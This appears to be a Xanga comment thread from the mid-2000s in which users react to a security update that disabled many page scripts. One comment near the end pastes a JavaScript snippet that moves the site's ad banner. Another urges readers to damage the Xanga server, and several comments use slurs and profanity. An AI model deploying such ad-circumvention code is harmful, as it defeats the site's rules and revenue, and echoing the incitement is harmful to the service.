  • i remember one time i added javascript that downed my journal. if u tend to leave ur journal always signed in then just go directly to the look and feel (without going through your main page) section and edit the code. now if your not signed in automatically it won't work, and if u don't have the link it won't work.

  • well...i had a code on my xanga that counts the number of days, hours, minutes, and seconds that have passed since a certain date...is there ANY way that i could get something like that back? it would mean a lot to me, thanx

  • aww..I love the status bar messages...

  • good job with the  security but... i used the blinking boxes, statue bar, and a hosted c-box... btw its http://www.cbox.za ahh i dont like using fooble as mai c-box! oh well... ill just rebuild mai xanga all over again

  • I think the measure you are taking to prevent xangans using an ad remover code is RIDICULOUS. I understand that you guys want to keep xanga free..but was disabling all those javascripts really worth it? I mean wouldn't it better just to keep disabling the ad banner codes everytime a xangan makes one? Do all other xangans have to suffer just because a few idiots CHOOSE to make the scripts. Now you have so many unhappy xangans because alot of codes you disabled are the kind we like to you! There are SO many errors on xanga now because of this security measure..

  • Hi John,

    I was wondering.. why did you take off the "Link to picture" option for the Profile page? I don't like using xanga's upload feature is because it compresses the pictures by 50% or more and that dramatically reduced the image quality. I was wondering if you could bring that "link to picture" option back?

    Thank you very much.

  • The ad wasn't bothering my layout at all, but I guess you moved the position of the ad again?  I have a modified xanga with all those "malicious" codes (lol) and the ad is blocking me from adding another entry.  If you put the ad on the bottom, it takes a while to load, so I advise you to put it at the top.  If you don't understand what this nonsense I'm saying, please visit my xanga.  The ad is also blocking my date.  =/  So if you could please change this, I'd be thankful.  (: 

    Looking forward to a new, improved xanga,
         -l1lstah

  • personally...

    well, might as well restrict everything? i mean... you guys are doing a great job nd all, but... i mean, no matter what, [as everyone should know] no one can satisfy everyone. there will always be at least 3 people that are not satisfied with whatever it is... -.-

    yah, so good job guys... i personally dont know much ab html codes and stuff... so my xanga is jus plain - -'' i think that's fine... but maybe people don't like simple things x]

  • not fair, i like my blinkin boxas and my fallin object ..=/...juss punish the people who are disobeying the rule or law or watver...is not fair for other who didnt do anything. PLus, people with preminum, should stay the way they wanted to be instead of changing and wasting their money..

  • People already like their xanga page, and if u take away soemthing they have, it'll mess up their  page. And they dont want for u to do that. i agree with  ihav2pee about the thing. Yesterday, i changed my layout and everything. it was lookin so nice until the next day, i was like.."wat's wrong with my page?? it was working fine until today =/" then now, is plain, ugly, and blah. U took out the most important thing almost all xangan got. U shouldnt do that. People will get mad...

  • HEY I HAVE A SUGGESTION!   WHY DONT YOU BUILD A SCRIPT THAT WILL MAKE THOSE ADD'S DISPLAY AT THE BOTTOM OF PEOPLES PAGES?  BECAUSE THE REASON PEOPLE DO THAT IS BECAUSE THOSE ADDS(NO OFFENSE) ARE UGLY AND PLAIN, TO SIMPLE AND CORRPORATE.  IF YOU SPICED THEM UP, MADE A SELECTION, PEOPLE WANT THIER SITES TO LOOK GOOD, AND IF YOU ARE DOING A RED/BLACK COLOR SCHEME, A LARGE WHITE BANNER AT THE TOP OF YOUR PAGE IS UN-ATTRACTIVE.  SPICE IT UP BABY!

    KEEP IT UP.

  • arghhh i luv xanga...does the chatterbox still work? i mean one main reason y i luv it is because i could have a chatterbox...so this REALLY SUCKS arghhhhhhh

  • please put the xangas back to normal!! i miss everything!! i worked soo hard on the falling flowers!! they were CUSTOM! please please put it back!!

  • ...horribly disapointed, I mean cmon BLINK BOXES!?!?!? i loved those, and the words that scrolls..so you guys are just forcing us to get xanga premium, yah theres some members that use that stuff to remove ads but this shouldnt effect all of us,  I'm urging u guys to consider a better way to stop this...This really kills Xanga, without some of those codes our xangas will jsut look liek low class xangas little kids make....

  • dude.... tha xanguh ad thing is friggin blockin mah site

  • It seems to me the more stuff you guys do, the more people you alienate. I guess that's life, though...

  • I have a countdown on my site, its stopped. my title bar at the top is also stopped dead in its tracks.. hmm

  • sry bout the stupid comments yesterday...
    my frd logged on my account to say stuff...sry bout that...
    neways...haha ad removal is cool ^^"
    but now since u guyz banned it...my site sux now ><"

    urked beyond belief

  • i sure do hope that your so-called "beta testing" is actually beta testing, meaning that you're not gonna use this "update" but instead FIX your "update" and then will have NO MORE UPDATES because none of you people at xanga care about how our xangas look or care how much time we put in to making it look good, and i'm about to say fuck it because i just got a fuckin gun pulled to my damn head and i'm pissed

    :-/

  • good job guys!! i am so glad that you are working aroubnd the clock to make xanga safe!! thanks again!!

  • aww too bad some of the codes dont work! its sad how ppl can take away the generous priveledges others offer. so much selfishness these days.. :(

  • yeah, my bush-cheney '04 campaign info won't work, but you just gotta do what you gotta do, right?

    also, the banners need to be on the top.  ads need to be seen, or else companies won't pay for them.

    and as for "punishing" everyone?  what else can they do?  honestly, when you have hobags who screw xanga over, the only way to stop it is to change something.  they HAD to do it the WAY they did it.

    don't get mad at xanga for being unfair.  get mad at the people who screwed up; xanga can't keep track of everything under the sun.

    life isn't fair; get over it.

  • yeah its not fair to the rest of us minions that those people can take their ads of their pages...we keep them up there and they arent killing us so why should it bother them so much? good job taking that away from them and making them be just like the  rest of us. plus, that auto-thing crap is deff crap; thanks for puttin a stop to it. ;)  

  • I also say that if the ad banners were on the bottom (or at least a bit smaller) it would be much less of a bother to look at... but it's fine i'm glad that xanga's being kept free, i enjoy it very much.

  • hmm so thats why my status bar stop working and my color changing scroll bar stopped working o well at least its free and i kinda agree with the others u should put the ads on the bottom of the screen but hey its up to u guys i appreciate the free site though

  • or maybe u guys shud make the ads prettier or something. or customizable or something. er. =/ and i dont see why the blinky boxes are a threat to "xangaland security" -_- ah wutever..

  • arrgghh .. i loved my blinkies .. but it`s alright .. ;] .. can`t you put the xanga ad on tha bottom tho ? it`s gettin` in tha way of my background !

  • but...y do u have to do this anyway? howcome er dont have chatterboxes? y cant we have cool things on our sites too like premium? maybe we just cant pay for premium...i would have premium if it were free...but its not...so im not going to get premium...well...thanks anywayz! bye

  • zer00000 pr0pz fer this man!!! this sukkz butt! without all of those cool scripts  falling things, chatterboxes, blinky boxes...without those...xangas just lo0k lyke crap...thats what makes an xanga! if we dont get those back...nobody will want an xanga anymore...so, i advise you to put those things back. you people just want us to have premium coz it costs money...well. if that is what u r doing, than i am not going to have an xanga...because i dont want to buy something, i want something fer free man..haha...yeah! put our things back! and i dont have a chatterbox anymore man!!! c'mon!

  • what is then allowed and not allowed?

  • i took out the ad remover because you told us to...but i didnt know it would do any harm..=/...i want the status typewrite thingy because it's way cool..xanga is cooler than the other blogging communtiies because you could put some html codes..but im missing some of them..=/

  • hmm. and i was wondering why my page kept having errors. now i know. its a way you guys keep this thing alive, so no complains. thanks people.

  • hawww...thats junk. I want my blink box back it looked so cute on my site. dang

  • Losers!

  • hey can you make this chatterbox available i like this one alot cause of the things you can do like banning ip and name restrictions plz allow this one to be used thnx....

    http://cbox.co.za

  • no wonder why the clock thing wouldn't work and the blinkies. i'm so silly!

  • Jesus man!! People just don't appreciate what they have anymore do they?? C'mon people you are getting this site for FREE!!! Appreciate it. Not to mention the extra effort put in by a great team. Kudos to the Xanga gods!! On the other hand, it does explain why my weather forecast thingy hasn't been working for the past week or so. Oh well.... Was starting to annoy me anyway. Keep up the good work, and I for one AM going to renew my premium. I like the EXTRA freedom of it all. Thanks a bunch guys!!

    Peace and love

  • hey guys, i also have a chatbox or shoutbox from http://www.activetopic.com i use on my xanga which isn't working anymore. i've been using this box instead as opposed to the other popular chatboxes on xanga 'cause i find it loads a lot faster and has less downtime. it's also more custom features. could you guys kindly look into being able to use their scripts for our xangas? thanks also for trying to make xanga a safer place. 

  • MY COUNTUP SCRIPT DONT WORK ON MY BETA SITE......Can someone help me 2 get it fixed??????

  • =) someone's rain had to die for this! n.n

  • all the fonts are messed up

  • Good job!  :) Thanks for fixing stuff and such.

    And to the guy above, wanting 2 for the price of 1..umm wake up, and smell the coffee, honey!  This is the reallllll world. 

  • omg...y did u get rid of the falling images?? that was lyk the BEST thing on here... >:-

  • It's sad that you had to do that. Even though I can't have falling ducks or anything, I'm still all about Xanga. Keep up the awesome work!

  • *THUMBS UP*

  • hi

  • i dun think its fair that it interfers with the other codes...the blinky box and cursor were classsic codes...sum of the first wuns i had...is there anyway to make ur sercurity tighter and stilll have these codes?? i would really like dat..

    Much <3

    Stephanie

  • is there any way to get the scroll codes to work on the status bar? i cant afford premium so i cant just upgrade... ::sigh::... what do i do?

  • I liked some of those scripts (Even if I can never find the actual script).....oh well.....you have to do what you have to do to keep the business up running eh? So I have no problems with the change.

  • okay yeah i have no idea what difference the codes are host or none host or whatever.....i know i have the fading images code smiley script click refresh for new song change eprop icon n change eprop name.......somehow n im not a hacker...after i log into my account i can't go into my own site!! it just freezes n i had to restart the browser.  n yes i have xanga classic. since i have another xanga i logged in n everything n it was perfectly fine! also....i used my other xanga to leave a comment n i can enter iimeowii good. as long as i dont' sign in as iimeowii i can enter iimeowii's xanga site. like right now i can eprop n leave comments on other ppl's xanga but not mine at all.......help.

  • oh yeah i had the falling images too.....lolz but nothing too overboard like taking away the ad n stuff

  • I'm depressed that I don't have my mouse clock anymore

  • this is bull y should ppl who don mess wit the ad get messed wif??? i don mind that y'all r making it so u cant move the ad but cant u find a better way without screwing up un harmful codes!?

  • this sucks...

    why don't you just ban the add removal code and let the SetTimeOut and "positionabsolute" functions be?

  • bOOoOOooOo! wackness :P "

  • Mine seems to be working so it's all good thanks alot.

  • ToT  It's good that xanga is trying to protect people...  But I miss my blink boxes... That was the only thing that kept my site "decorative"... And yes.. Ads should be on the bottom... -_-

  • put the banner on bottom .. my site looks like crap with it..

  • MY DATE CHANGER CODE WONT EVEN WORK ANYMORE!  THANKS ALOT I BET ALOT OF PEOPLE ARE GONNA MOVE TO A DIFFERENT JOURNAL. . UH. STUPID XANGA . u guys dont even know what ur doing!

  • DO SOMETHING ABOUT IT

  • im one of the people who has the free xanga, and i did little things to make it look nicer. and u probably think im one of the cheaters but im not. seriously i mean, i told EVERYbody i know about xanga and my friends signed up too so im like a walking advertisement. so im really sorry but i just cant afford the premium. my mom and I just moved here to the US from canada, which we moved to before from the philippines. so u see, we cant even afford out own apartment. so i hope u guys dont get mad at me. i swear i keep my xanga active anyway, and hopefully soon ill get a premium, as soon as i know how to decorate it. im really glad that ur putting up the security thing coz that thing where people get rid of the ad is just horrible, coz u know, the free users owe it to you guys to even letting us have a free account! so yea, if u want, just tell me what i shoul take off or something, if mine causes the trouble.

  • WHY BLINK BOXES

  • thanks guys!

  • no offense, but those ads are hideous .. and obnoxious .. and i suppose i realize that's what you need to do to make it free, but like .. coudln't you make them smaller, or put them at the bottom or something ?

    // laura

  • Good changes!  I won't miss the things that were affected.

  • what about image linking such as photobucket.com? are those blocked too.

    maybe its the site itself, but photobucket is a great free web site where you can load up lots of images especially large image pics that i use to make my layouts.

    http://www.photobucket.com is the 'joint'. please don't block that.

    Thank you so much,

    Da Luvely Lady L.

  • one more thing, where is a place that i can upload music for free, so i can generate music codes?

    Donna

  • i app-re-she-ate alll youR work

  • this is bullshit and crap, now only prenimun works for everybody, my xanga wont work you cant leave props and i cant se what others wrote, b/c they cnat!

    i read what u wrote nad took of the stauts bar, and falling as soon as i did, great wont work no offense but youve fucked up ur own businnes

  • man watsup wit dat??? yu block out sum of da code on muh xanga >.<;
    o well....watevah since it ur system neway, n m using it for free...so it all good =]

  • thats reallie messed up what you all did about some of the codes, like the blink boxes and status bar scroller...

    what harm does it really do to your site?
    i cant believe this
    be careful, i gotta feeling alot of people are gonna switch to another journal site.

  • since you guys fixed the codes... my xanga ad banner is messed up... its centered onto the middle of my xanga entires ='[

  • Big Score! Big Score!

  • I got a huge feeling Xanga is going to undo this security update. Too many people will want to switch to Blurty or LiveJournal now. Also, it's still possible to strip out the ads.
    It's a lose-lose situation for Xanga.

  • This stinks!!!! You could at least let us use .gif format pictures!!!!! I put mine on the header of mine!!!   NOW IT'S A RED X!!!!!!!!!! IT HAS TEXT LIKE A MARQEE!!!! IT SAYS WELCOME TO MY XANGA!!!!    THIS STINKS!!!!!!!!!!!!!!http://WWW.3DTEXTMAKER.COM <---- THAT'S WHERE I MADE IT!!!!!!

  • nice page!!!

  • Ok

  • WHAT THE F!!!
    this is F up, no offense but you ppl dont know what you doing!!! geezee thx alot...but if you keep this up ppl gonna quit xanga
    (and excuse my laguage, m so pissed right now)

  • i really want all my codes bakk that i had b4 .. because now it just makes my site boring without them ... i had blink boxes before but now they dont work .. same with the fallin objects .. hope you can fix it someday ..

  • Cool Dude

  • *wonder* will the script will be able to work again?? anywaz. tell me if they changed their mind and that is working again. u could aim me or go to my site and put it in my comment.

  • actually it's ANYTHING that MOVES does NOT work at all....

  • scrollbar, status bar, title of the page changers, blinky box, box at the top of my xanga, the falling objects, comment and eprop change on TheXero's site, and overall, messes everyone's xangas up ROYALLY

  • anyway you can get the ad at the bottom of the page instead? ...it`s a real drag =T

  • Man I think the lot of you need to quit your bitching. It's like crying over a spill. Personally, I think we're better off without all the "features" that got disabled. They annoyed the hell out of me to begin with.

    Flamers, find something better to complain about, and do it on your own Xanga.

  • as long as you don't intistute cavity searching before signing into our own xangas, everything's cool...

  • and, when you try to update the look and feel and then PREVIEW the page, the "Save these settings" box is embedded behind the absolute-positioned banner at the top of the page

  • yea!

  • same here about the ads! bottom would be best... very few people would even feel the need to have ad remover scripts. then you wouldn't have to have to disable all our cool codes . I miss my status scroller... i had cool quotes at the bottom.

  • I dont even see the add box... Its your journal... Dont be so obsessed with a 1in by 3 in box!  I mean honestly does it really take away the look of your site?  Stop looking and stop complaining... KEEP XANGA FREE!

  •  

  • that SUCKS!!!!!!! u guys just want 2 make more money!!!!! that doesnt make the xanga safe...it makes it BORING!!!!!!!

  • wow...there are a LOT of ungrateful people here on Xanga...I'm glad that you all do the work that you do!!  As for the blinky boxes, why don't people just make an animated .gif of a blinky box line?  it's not so hard.  If you have the program to make the other 'decorations' on your page, you have the ability to make the friggin' blinky boxes.  As for the rest of the really annoying scripts being outta here, THANK YOU.  I love that you have the 'random xanga' option on your front page, but it really SUCKS when said random blog CRASHES MY BROWSER.  If you're not interesting enough to post something interesting, I'm not going to stay at your site and say "ooh, aaaah....this really annoying script is why my browser crashed five times.  YAY!".  You guys do an awesome job.  As soon as I get enough cash around, I'm sending in a cheque, and I'm gettin' premium.  Not for the space...but because y'all deserve it.

  • "very few people would even feel the need to have ad remover scripts"... because nobody would see the ads, and because of that nobody would click on them, xanga wouldn't make any money, and you wouldn't have your blog.... ah, fool....

  • i hate this new security thing! its sucks!

  • That was a great idea! Maybe now more people will go premium. I know it wasn't intentional but thanks for the java blocks (if only there were more). Going to some random blog and having my computer lock up and crash from all the codes is getting tiresome.

  • I love the rename props idea, it's a great thing.  thanks, one and all!

  • to comment on "thezero" when he said, and, when you try to update the look and feel and then PREVIEW the page, the "Save these settings" box is embedded behind the absolute-positioned banner at the top of the page, yeah, there's also a "save these settings" box at the BOTTOM of the page.

    and as for the people who complain about all these codes. you do know that having so much html codes on your xanga just makes it look like you have no life. because you spend so much of your fricken time on the computer!!

    anyways, i think that you guys are doing a great job.  keep up the good work!

  • dont take them all away ! thats no fair ... with out the blinkys, it makes my xanqa look uqly ><`

  • can't we put the ads on the bottom? pleeeeeeeeeeeeeeeeeeeeeeeeeeeeeeease...
    it's blocking one of my div boxes with links in it on my site! :o (

  • sweet

  • Good work! Keep it up!

  • i really don't mind the whole security stuff. but why did you have to take off my cb0x? it wasn't doing anything to hurt xanga. i kinda want it back right now. it was an easy way for people to come to my site and just say hi. please make it so that i can have it back. thanks!

  • well...guess that teaches us all a lesson. ^^;;

    but i have a question...where did my site counter go? @.@ was that removed too? =.=

  • i keep getting a popup saying i cant view my page . . and nobody can . . . so uhm . . does that have sumthin to do with wut you guys did . .?? it keeps saying "Internet Explorer cannot open the internet site http://www.xanga.com/tha_ditzee_wun
    operation aborted" AHHHHHH

  • ohh...by the way. my cb0x is from the site http://cbox.co.za/ if that would help you guys look at it and see that it's just like any other chatterbox

  • doode...yoor freaking gay...-____-;; why the hell did yoo have to take all the GOOD stuff away ??? i mean i can't see my chatterbox ANYMORE >:P doode...there's no point having an ad wayyyy on tha bottom because...FIRST it's on tha bottom. SECOND no one is actually going to click on it. THiRD what's the point of having an ad on zzangr wen there's like...millions on every website ?? yoo need a life...now my zzangr is messed up...cuz i can't see ANYTHING w/o javascript...screw yoo oh might lord of stupidity...-_______-;;

  • oh yah...i forgot to add...

    i think all this messed up the way the image at the top of my xanga fades. >,>

    heh heh...another question. [not really regarding what's happening] can you only join 3 blogrings? because i had 4 before...and i left one in order to join/make another blogring. when i did...it never showed up. ?.? do you can email me...if you have the time? ^_^

  • ugh... thanks for trying to make xanga better an all... but now the shtuffs don't work =( haw. that sucks. now my site isn't as... woo hoo as before. and just to add in my opinion, i think if you put the ad boxes on the bottom of the page, then people wouldn't mind having them. anywho... aloha.

    ♥ bRi TT a Ny.

  • so which codes can we use?
    I wanted one that would make my text swirl and look all pretty, but it didn't work too well. ='( *cries*

  • good job!

  • uhh is that why my raining thing frozen

  • awwww.... thats no fair..... all of the codes that were disabled were the codes that i had on my xanga...... i had ALL of them... i feel so sad now cuz my xanga seems so plain....... but i noe u were just tryna help wit da security measures nd stuff....... but im still reli sad abt the codes that had were affected.... =(

  • hey my countdown script doesn't really count down. that stinks. i got it off of http://www.dynamicdrive.com and it's a really great site for things. so hopefully you can add that site to your list...that would be great!! and yeah...i wouldn't mind having ads on the bottom. if they were there, it'd make my page flow better. thanks!!

  • DUDE U FUKK'N RETARDZ STOP BEGGING HIM AND SHIT AND JUST FUKK UP THE DAMN XANGA SERVER DAMMIT AND I AGREE WITH AZNBOIDUY. I SWEAR STOP BEGGING HIM AND DO SUMTHING ABOUT IT

  • AND WUTS THE FUKK'N POINT OF THE DAMN ADS. ONLY LOSERS HOO WANT PREMIUM KLICK THAT DAMN THING. AND PREMIUM IS ONLY FOR PPL HOO CANT ACTUALLY MAKE THINGS THEMSELVES

  • stupid gay ass fuk!!!

  • sheesh people... if the ads were on the bottom, they wouldn't be as effective, and so the advertisers wouldn't be willing to pay for them... which would mean no free xangas at all. live with it or pay for it.

    the real topic: wondering if this is why everyone's quizilla links suddenly died... and if they were supposed to, since they're just links?

  • okay.. my xanga.. i have this code that  when numberous people give u comments, it would shows the background in another color for one person and a different color for the next..

    example:
    like person1 writen somthing -their background commenting on my xanga is gray
    person2 comments and the bg is white

    yu understand what i meant right? sorry i dontknow the name of this code.. nd well i just notice that it doesnt shows like that any more.. so im wondering is this code being taken off too? -just want to confirm this
    -----------------------------------------------
    and thnx for makin xanga better!! ^___^ most of these xangans arent tat much appreciative that youre helping us ..  -_-;; but i'll always cheers fo ya ^^;;

  • I still don´t understand why yooh guys had ta take off the codes.. =/ .. I miss mah blinky boxes.. ='(

  • i just wanted to be cool and scene so i thought whats cool? commenting on xanga officials sites of course. damn im cool.

  • It's a shame we all suffer some losses cause some idiots wanted to try and cheat xanga. Pity, cause I kinda miss my status bar messages but it'll be fine. Maybe there's a different way that it isn't impacted by the security measures to put it in.....
    Thanks for taking care of us though xanga!

  • This script moves the ads to the bottom of the page. I made it.

  • that really sucks..

  • Cool!

  • you need to find a way to get the comments not to stop at 255. it really pisses me off.

  • I think if you made the ads smaller, or at the bottom of the page instead, people wouldn't try to remove them.

  • Just wanted to say that I think you all do a wonderful job with keeping Xanga so nice for us.   Thank you for all of the hard work you do.  ((HUGS))

  • Man xanga u peoples be smart yo. i been noticing dat. Though there are ways for people to protect themselves from those types of codes. Buh ur way is alot eaiser thanks XANga

  • wat?!?!!??!?!?!

  • if ads help keep xanga free maybe it'd be better if you could make the ad more attractive or customizable so perhaps it can accentuate the person's site or like some ppl liked it put it at the bottom but then again i guess it's not as visible but just some suggestions, i hope you read this comment and take it into consideration

    thank you

  • i think these new update is messing up the banner in my xanga, and some other xanga that is using the same code i'm using. such as--> http://www.xanga.com/zuodi & http://www.xanga.com/takanai09

  • ugh!  it sux that my blink box, falling star, AND status bar script are gone... are there alternative scripts I can use to get the same thing?

  • Hmm...

    This seems to have screwed up the position of the ad on my site, and it makes it impossible for me to create new entries...

    Thanks xanga!

    ah well.

    what colour limit do we have?
    not that i use much colour anyway.

  • Oh wait absolute positioning is turned off? oh thats going to hurt the layout i had planned.

  • the small boxes where inside the word scrolls.. those things dont work either and my falling images also dont work... and  da status bar thingy also duznt work... is dyz gonna be permanent or temporary?

  • why did you have to disable chatterboxes? what's so malicious about those?

  • ehh...what?? you mean my codes wont work anymore? or is it just SOME of my codes wont work?? you know...i think ppl would enjoy free xanqa more if the banner was actually place on the bottom.. looks prettier too

  • Thanks for the info.

  • i miss my chatbox can u put it back please im using a different one and its legal it doesnt have any hacks or anything plz can u put it back the website for my chatbox is http://www.cbox.com/ k pls look at it first and put it back plz

  • nice

  • its free stop complaining u dont want the ads pay the cash

  • person i agree some codes shoudlnt be affcted and my xanga got screwed up because i took of the falling stars since i knew it wouldnt work today anyway, but rebelliing like this is what caused this whole fucking mess, just petition, dont ruin it even more, i would join ur blog but whta your doing is wrong even after all this bullshit

  • sooooo....i won't have blink boxes anymore?

  • hey...i dont think this is fair...i have a blink box code that doesnt take off the banner or adds for xanga..how come i cant use it?

  • xanga rules. keep the good work up!!

    xanga is by far the best free blogging community around with the best premium service.

  • Hey, I just finished a new script! It makes the ads look cooler!
    Click here to display your ads with style.

  • I'm perfectly okay with the security measures. I completely understand why they are in place.

    I also wanted to make a comment on the ad placement. I think that they have strategically placed them at the top of the pages in order to get more hits (duh). Placing them at the bottom of pages would dramatically reduce the number of click-throughs, thus reducing the amount of revenue that they make from these ads.

    Perhaps if you want control of ad placement, you can pay a fee less than premium for the option of doing that. But then again, the price for an entire year of premium isn't expensive.

    You can't really gripe about the ads here until you've been over at Yahoo! Geocities. Those are some ad-lovin folks.

  • Hey that is very clever of u guys and i hav a question, could u please create a thing that don't use bad language in xanga's weblogs? and chatterboxes?

  • i agree. if the adds were at the bottom it would be less annoying. also, when i "PREVIEW" my look and feel of my xanga when i make changes, your AD covers the "save changes, yes or no", that's also annoying. well i guess this all explains why some of my stuff wasnt working also. thanks for explaining.

  • ouch. i miss my blinking boxes... a lot. i guess it was necessary though... dumb people trying to take away my free xanga. i am addicted... xanga is no longer a website to me, it is a lifestyle for goodness sakes!

    keep up the good work.

    -hlg- 

  • hey good job with the scripts, but i was wondering if there was a way you could make it an option for users to move the xanga add to the bottom of their xanga page, or keep it on the top (where it currently is). i think it would help alot of us out with the issue about removing banners, because people with intricate layouts sometimes dont want the ugly space at the top of their page, because they unalign dividers, images, etc.. but maybe if the banner could be put on the bottom of it all where the row of links are, it wouldnt impact layouts alot in a good way. Just a thought? :) you guys probably see some down sides to this because i wouldnt know about the things that go on backstage, but it would help a lot of people and it might be able to solve alot of your banner ad removal problems. Thanks !

  • Thanx!

  • awww mannn.. is that why i couldn`t go on my xanga since this morning!?! well please find a way to fix it.. i need to blog..

  • i think it really sucks, i finally learned how to do these 3 codes u are now removing and im ticked off, mind u i was not removing your banner ad at the top, i know its not your fault though, theres always people out there that gotta ruin it for the bunch

  • **EDIT..

    i found an example of what i was saying.. here is a script i got from a xanga site giving the code away, except it ruins my divider settings (and possibly other settings) so i chose not to use it.. hope you can make an official xanga setting out of something like this ?

    Link Creater?

    var num=0;
    var rve = (location.href.indexOf("reviews")>-1 || location.href.indexOf("events")>-1);
    function nds() {
    if (++num>=9) clearInterval(adss);
    if (num < 4) return;
    if (rve) clearInterval(adss);
    if (!rve)
    { if (document.body.scrollTop<85)document.body.scrollTop=85; }

    var imgs = document.getElementsByTagName ('table');
    var lasttable = imgs[imgs.length-1];
    if (!rve) {
    if (navigator.appVersion.indexOf("MSIE")>-1) {
    lasttable.insertAdjacentElement("afterEnd",imgs[1]); }
    else { lasttable.parentNode.insertBefore(imgs[1],lasttable.nextSibling); }
    }
    else {
    if (navigator.appVersion.indexOf("MSIE")>-1) { lasttable.insertAdjacentElement("afterEnd",document.getElementById("Table7")); }
    else { lasttable.parentNode.insertBefore(document.getElementById("Table7"),lasttable.nextSibling); }
    }
    }
    var adss = setInterval("nds()",100);

  • Ok I'm not the only person annoyed by this problem. I just fixed all my xangaz to the classic way but still unique. I understand that people who have free accounts should have ads. But Hey I have a sugesstion of an ad banner customizer in the look & feel:

    1. the option of where we want the banner to be! For Example:
    I check the first box, the ad will be on top or 
    I check the second box it will be on the bottom but OUTSIDE of the BLOG where the table-footer is. If you get what I mean.

    2. Size of the banner...Adjusting the size the banner to make it look nice and well fitted on/ in our blogs

    3. OR like in other website that host webpages, that they give you an option of deciding of your interest to be on your ad. and still have the host's main topics on there.

    Please I'm trying to help. I Love xanga...but this ad banner problem is buggin n' sort of making me go in choas. ANyone agree?

    And I_Luv_Girlz_44... I think that should be a code for certain people who dont appreciate obscenity and profanity... I believe that people should feel free to say whatever they want on their blogs, you know. You just cant make people stop of what and how others want to say things. Then that will be another problem.

    well that's all i can say as of now...anyone want to ask or say something to me go head and drop me a line in my xanga. And I would appreciate it if the comments are sincere. Yeah. Take Karez Everyone. If You agree with the idea Help me out. Payce.

  • awww...i liked the blinky boxes!!!

  • the reason none of your xangas work is b/c theres a javascript in there liek a picture with a link or something similiar, get rid of it and it'll work

  • i don+t qet why divs / absolute positioninq doesn+t work anymore . /= is it a buq or on purpose ?

  • Nice job!!!!

  • thats a bummer for us that weren't doing anything wrong but you've gotta do what you've gotta do. I getcha!

  • noooooooooo blink boxes and clock cursors were some of my favorties. Also can you please tell me why my icecream cursor isn't working? thank you

  • i dont understand how the malicious codes are...well, "malicious". the codes you have disabled with your protection are those that we make our xangas with as close as possible to perfection. this is the reason people choose xanga over other countless blog sites, such as opendiary, blogspot, livejournal, etc! xanga is so much easier to use with codes, and now the good ones are all taken away? and for what price, too?

    automatic subscription  to someone's site.."oh no, what shall we do? panic!" -click unsubscribe, how difficult. and stripping ads? well, thats more understandable to try and stop that, but here i thought that sponsors made xanga put ads up, in turn giving xanga money/server space/something good. How will the sponsors know if a few fellow xangans strip the ads on their sites? do they go trhough and check? um...not likely. i feel that the price to pay for this (unneeded) 'protection' is much too high. xanga, like this country, is closing in, adding more and more rules and restrictions. whatever happened to having your weblog the exact way you want it? 

    we free users already have to put up with the countless reminders to go premium, pop-ups and of course, atrociously ugly-looking ads at the top. now, we have even more to deal with.

    i also believe that for users with premium, they shoudl at least get a discount for another premium xanga...i mean, you already have sold your overpriced website (which is not even that much different from free xanga) to a person, why not give them a discount out of good will?

  • oh and all those pricks griping about the language..come on. what is this, 1984?

  • oh well.. lost some stuff. but as long as those annoying auto-subs are gone... and other junk like that... it's all good

  • Thanks for keeping us, the users, in mind throughout your process. It sucks that some people start abusing stuff with the auto-subs and such. Good work, guys!

  • That sucks! I loved Blinky Boxes now.. my xanga is fuzzed up... it didn't do anything to the ad on top and it looked better with both of them there.. i think i will be stoped using xanga now...

  • bring back the falling efects code please they make the xangas so much nicer

  • =( my site is messing up.. sometimes your cermercail would cover my entry and i have no clue how to fix that problem! i do not like this!

  • kulz i been wonerin'bout dem codez

  • gayyyyyyyy

  • random props

  • i love xanga. and john ;o

  • MAN THATS HELLA GAY!!! like how does it even effect the dumb ass security its not like u can blow up ur site with blinky boxes or fallin hearts!! and those dumb ass ads are as gay as hell!

  • your adds are quite annoying...and xanga is an online journal thing, why should we waste our money on such a stupid site?

  • u suck
    i luv the cursor clock and blinkin boxes
    wats rong wid u
    if u give me a logical explamtion and fix my xanga for me then i'll be happy

  • Good work!

    Could you possibly get the Statcounter javascript OKed? They're by far the best counter site i've encountered and it's a shame that their script won't run on Xangas.

  • FUCK YOU RUINED MY WHOLE PAGEDDFJAKLSDFJKLASDJFKLSDFJKSDAFSD

  • Do what you must to keep Xanga free, even if it means restricting Classic users a little further.

  • booo =( o well as long as xanga is free

  • John is it? Even though you've taken away many codings in the past, I was fine with it, with the ads and everything. Since this update w/ more restrictions, it screwed up my page, I had other ways to fix it but, I don't know, not the same as before. Y'all should reconsider about this and put everything the way it was before.

    Thanks, Hyung.

    Later.

  • Thanks mis_x_FRE5H for posting the code I worked hard on without my permission...

  • your trying to keep xanga safe, thank you. 

  • myshoutbox.com check that....

  • can u guys come up with a way so your new 'restrictions'  dont impact the blink boxes? are u guys gonna look into that in the future? i realize a lot of people love those blink boxes, its a shame that we can no longer have then functioning U_U;; please at least try to edit the restrictions so that it doesnt impact blink boxes. thnx and pC

  • Go Xanga! haha! The ads looks better up top!

    And stop bashing at John... thats not nice...

  • why not make SMALLER ad banners?! hmm jus` a suggestion.

  • Go Xanga Upgrade of Security!

    Stop bashing john!! If you hate xanga so much, go blog at other sites! or go GET YOU OWN WEBSITE!!

    The ads is the way they keep xanga free, so let it b there...

  • Though the sponsors probably don't agree with what I think, I believe you should put the banners on the bottom. This clears a lot of space on the page; in addition, this would prevent depriving your respectful Xanga Classic users of blink boxes, falling objects, and especially status bar codes. I think that several of your JavaScript users use status bar codes and do not realize that this is the technical name. When they loose the status bar code, they might not like these ideas so much.

    Sincerely, Nina

  • hey

  • uh how about tagboard from  cbox.co.za it the best 1 i seen...i think it better than chatterbox...but now i cant use it...so take a look at it?

  • sorry, but i was one of the people using the code to strip the ad. =/ i know that it keeps xanga free, but it interferes with the layout. so maybe if there was a code to put the ad at the bottom...? that would be helpful. =]

  • you allow flooble chatterbox but not flooble pad... flooble pad is good. if there's not something bad about it, it'd be cool if you supported it. thanks

  • My slideshow of photos stopped working as well.

    I agree with what has been said about only punishing the users who have made their banner invisible. I havent done that, I understand that xanga can not be free without getting paid to display these advertisements. Is there not another way you can stop that script without affecting other scripts?

    People have spent alot of time creating these scripts and xanga users have spent time learning them and editting them. I have not used scripts before xanga and to get my slide show to work took time for me to understand the script and time to make it work for me.

  • i have a question..i visited sum sites and found dat not ALL the blinkies and cursor clocks have been affect...why is this?? i mean i really liked mine but yew got to do wat yew got to do..i just cant find a way around this...well good job keep it up..

    Stephy

